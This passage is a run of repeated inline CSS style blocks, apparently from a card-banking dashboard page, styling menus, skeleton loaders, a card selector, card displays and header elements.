-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open .dashboard-menu--open--content {
margin-right: 4px;
overflow-y: scroll;
overflow-x: hidden; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open .dashboard-menu--open--content::-webkit-scrollbar {
width: 4px; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open .dashboard-menu--open--content::-webkit-scrollbar-track {
background: transparent; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open .dashboard-menu--open--content::-webkit-scrollbar-thumb {
border-radius: 30px;
background-clip: padding-box;
background-color: #c1cbd4; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open .dashboard-menu--open--content::-webkit-scrollbar-button {
width: 0;
height: 0;
display: none; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open .dashboard-menu--open--content::-webkit-scrollbar-corner {
background-color: transparent; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--default {
background-color: #2A89A2; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--black {
background-color: #1A1A1F; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--platinum {
background-color: #172A48; }
.dashboard-menu .dashboard-menu__content .icon {
display: flex;
justify-content: center;
align-items: flex-start;
margin-top: 18px; }
.dashboard-menu .dashboard-menu__content .content__close {
display: none; }
@media (max-width: 1023px) {
.dashboard-menu .dashboard-menu__content .content__close {
width: 20px;
height: 20px;
position: absolute;
top: 16px;
right: 16px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center;
z-index: 1000; }
.dashboard-menu .dashboard-menu__content .content__close img {
width: 20px;
height: 20px; } }
@media (max-width: 1023px) {
.dashboard-menu {
width: 100%; }
.dashboard-menu.menu--close {
visibility: hidden; }
.dashboard-menu .dashboard-menu__content {
width: 304px; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open {
width: 304px; }
.dashboard-menu .dashboard-menu__content.dashboard--close {
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(-100%);
-moz-transform: translateX(-100%);
-ms-transform: translateX(-100%);
-o-transform: translateX(-100%);
transform: translateX(-100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
visibility: hidden; }
.dashboard__next {
background-color: rgba(0, 0, 0, 0.3);
width: 100%;
z-index: 1; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.skeleton {
display: flex;
align-items: center;
justify-content: center;
opacity: 0.5; }
.skeleton.skeleton--dropdown .content {
height: 14px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite; }
.skeleton.skeleton--dropdown .content.content--small {
width: 104px; }
.skeleton.skeleton--dropdown .content.content--medium {
width: 137px; }
.skeleton.skeleton--dropdown .content.content--large {
width: 148px; }
.skeleton.skeleton--card .content {
width: 154px;
height: 94px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite; }
.skeleton.skeleton--icon .content {
height: 14px;
width: 14px;
border-radius: 50%;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite; }
.skeleton .content--default {
background: linear-gradient(90deg, #e0f4e7, #ffffff, #e0f4e7);
background-size: 350% 200%; }
.skeleton .content--black {
background: linear-gradient(90deg, #e6eaed, #ffffff, #e6eaed);
background-size: 350% 200%; }
.skeleton .content--platinum {
background: linear-gradient(90deg, #9dadba, #ffffff, #9dadba);
background-size: 350% 200%; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.footerlink-container {
line-height: 16px;
padding: 16px 15px 15px 15px; }
.footerlink-container .footerlink-link {
color: #ffffff;
font-family: NunitoSans-Regular;
font-size: 12px;
text-decoration: none;
pointer-events: all; }
.footerlink-container.active {
background-color: rgba(255, 255, 255, 0.1); }
@media (max-width: 727px) {
.footerlink-container .footerlink-link {
font-size: 13px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.skeleton-container {
line-height: 16px;
padding: 15px;
display: flex;
justify-content: flex-start;
align-items: flex-start; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.selectCard__contain {
margin-bottom: 5px;
position: relative;
display: flex; }
.selectCard__contain * {
box-sizing: border-box;
cursor: pointer; }
.selectCard__contain .selectCard__label {
outline: 0;
color: #ffffff;
border: 0;
font-size: 14px;
line-height: 19px;
font-family: NunitoSans-Regular;
background-color: transparent;
caret-color: transparent;
text-align: center;
margin-right: 4px; }
.selectCard__contain .selectCard__select--desktop,
.selectCard__contain .selectCard__select--mobile {
outline: 0;
border: 0;
width: 16px;
height: 16px;
border-radius: 50px;
color: transparent; }
.selectCard__contain .selectCard__select--desktop {
display: flex;
justify-content: center;
align-items: center;
background-color: transparent;
background-repeat: no-repeat;
padding-top: 2px; }
.selectCard__contain .selectCard__select--desktop img {
width: 16px;
height: 16px; }
@media (max-width: 991px) {
.selectCard__contain .selectCard__select--desktop {
display: none; } }
.selectCard__contain .selectCard__select--mobile {
background-size: 16px 16px;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background-color: transparent;
background-repeat: no-repeat; }
.selectCard__contain .selectCard__select--mobile option {
color: #000000; }
@media (min-width: 992px) {
.selectCard__contain .selectCard__select--mobile {
display: none; } }
.selectCard__group-container {
position: relative;
width: 175px;
margin: 0 auto;
z-index: 9999; }
.selectCard__group-container * {
box-sizing: border-box;
cursor: pointer; }
.selectCard__group-container .selectCard__group-options {
background: #ffffff;
box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.08), 0px 20px 32px rgba(96, 97, 112, 0.24);
-webkit-box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.08), 0px 20px 32px rgba(96, 97, 112, 0.24);
-moz-box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.08), 0px 20px 32px rgba(96, 97, 112, 0.24);
border-radius: 6px;
padding: 4px;
text-transform: capitalize;
position: absolute;
opacity: 0; }
.selectCard__group-container .selectCard__group-options.selectCard__group-close {
display: none; }
.selectCard__group-container .selectCard__group-options.selectCard__group-open {
display: block;
opacity: 1;
-webkit-animation: animation-selectCard 0.2s;
-moz-animation: animation-selectCard 0.2s;
-o-animation: animation-selectCard 0.2s;
animation: animation-selectCard 0.2s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
.selectCard__group-container .selectCard__group-options .selectCard__options {
display: flex;
font-family: NunitoSans-Bold;
font-size: 12px;
line-height: 16px;
color: #122e43;
padding: 4px;
margin-bottom: 4px; }
.selectCard__group-container .selectCard__group-options .selectCard__options:hover {
background-color: #f4f7fa; }
.selectCard__group-container .selectCard__group-options .selectCard__options .selectCard__options--ico {
margin-right: 10px; }
.selectCard__group-container .selectCard__group-options .selectCard__options .selectCard__options--description {
white-space: nowrap; }
.selectCard__group-container .selectCard__group-options .selectCard__options .selectCard__options--description .selectCard__options--title {
font-size: 12px;
line-height: 16px;
color: #122e43;
padding: 0;
margin: 0;
font-family: NunitoSans-Bold; }
.selectCard__group-container .selectCard__group-options .selectCard__options .selectCard__options--description .selectCard__options--numbers {
display: flex; }
.selectCard__group-container .selectCard__group-options .selectCard__options .selectCard__options--description .selectCard__options--numbers .selectCard__options--dots {
margin-right: 4px; }
.selectCard__group-container .selectCard__group-options .selectCard__options .selectCard__options--description .selectCard__options--numbers span {
font-family: NunitoSans-Bold;
color: #416179;
font-size: 9px;
line-height: 12px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.card {
position: relative;
background-size: cover;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
@media (min-width: 728px) {
.card {
width: 170px;
height: 124px; }
.card .card__number {
bottom: 56px;
left: 23px; }
.card .card__expiration {
bottom: 29px;
left: 96px; }
.card .card__name {
left: 23px;
bottom: 28px;
width: 65px; } }
.card .card__number {
font-size: 7px;
line-height: 10px;
display: flex;
position: absolute;
white-space: nowrap;
font-family: NunitoSans-Regular; }
.card .card__number .card__number--dots {
margin-right: 8px; }
.card .card__name {
position: absolute;
white-space: nowrap;
font-size: 9px;
line-height: 12px;
font-family: NunitoSans-Bold;
overflow: hidden;
text-transform: capitalize; }
@media (max-width: 727px) {
.card .card__name {
font-size: 12px;
line-height: 16px; } }
.card .card__expiration {
position: absolute;
white-space: nowrap;
font-size: 7px;
line-height: 10px;
font-family: NunitoSans-Regular; }
@media (max-width: 727px) {
.card {
width: 224px;
height: 164px; }
.card .card__number {
font-size: 9px;
bottom: 75px;
left: 36px; }
.card .card__number .card__number--dots {
letter-spacing: 2px; }
.card .card__expiration {
bottom: 41px;
left: 129px;
font-size: 9px; }
.card .card__name {
bottom: 39px;
left: 36px;
width: 90px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.headerMenu__contain {
position: relative;
display: flex;
align-items: center;
flex-direction: column; }
.headerMenu__contain * {
box-sizing: border-box; }
.headerMenu__contain .skeleton {
margin-bottom: 25px; }
.headerMenu__contain .headerMenu__title {
font-family: NunitoSans-Bold;
